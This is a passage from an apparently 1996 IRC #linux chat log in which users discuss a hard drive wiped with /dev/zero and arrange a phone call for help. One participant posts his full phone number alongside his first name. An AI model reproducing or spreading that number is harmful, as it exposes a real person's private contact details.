  2068. <R0M> lantos: yeah but win95 has its own menu
  2069. <wasim> rcw: nope.. its all written over by )'s
  2070. <R0M> anyways gonna call rcw
  2071. <wasim> s/)/0
  2072. <rcw> 15 minutes of /dev/zero and there's probably not much left...
  2073. <wasim> nope
  2074. <rcw> If you have any really important text files, at the end of the drive, you can recover 'em with less.
  2075. <R0M> ok rcw get ready man
  2076. <R0M> cya guys
  2077. <wasim> rcw: good luck
  2078. <R0M> wait what is your name rcw
  2079. <R0M> heh
  2080. <rcw> ROM: You don't have my phone number, do you?
  2081. <R0M> you gave it to me
  2082. <R0M> 609-823-2734?
  2083. <wdh> rom: thats me
  2084. <R0M> wdh: ok i will call you
  2085. * wasim calls wdh
  2086. <R0M> wdh: what is your number
  2087. <wdh> heh
  2088. <R0M> who's the new jersey guy?
  2089. <wdh> 609 823 2734
  2090. <wdh> me
  2091. <R0M> ok
  2092. <R0M> what is your name man heh
  2093. <wdh> bill
  2094. <R0M> ok bill here goes
  2095. <R0M> cya guys
  2096. [FID] -> R0M has chansigned on #linux, Leaving
  2097.  
  2098. ====================================================================
  2099. 08.05.96
  2100.  
  2101. <raistlin-> <|VooDoo|> can u run linux on WIN 3.1? <-- that needs to go
  2102. into ThePlan
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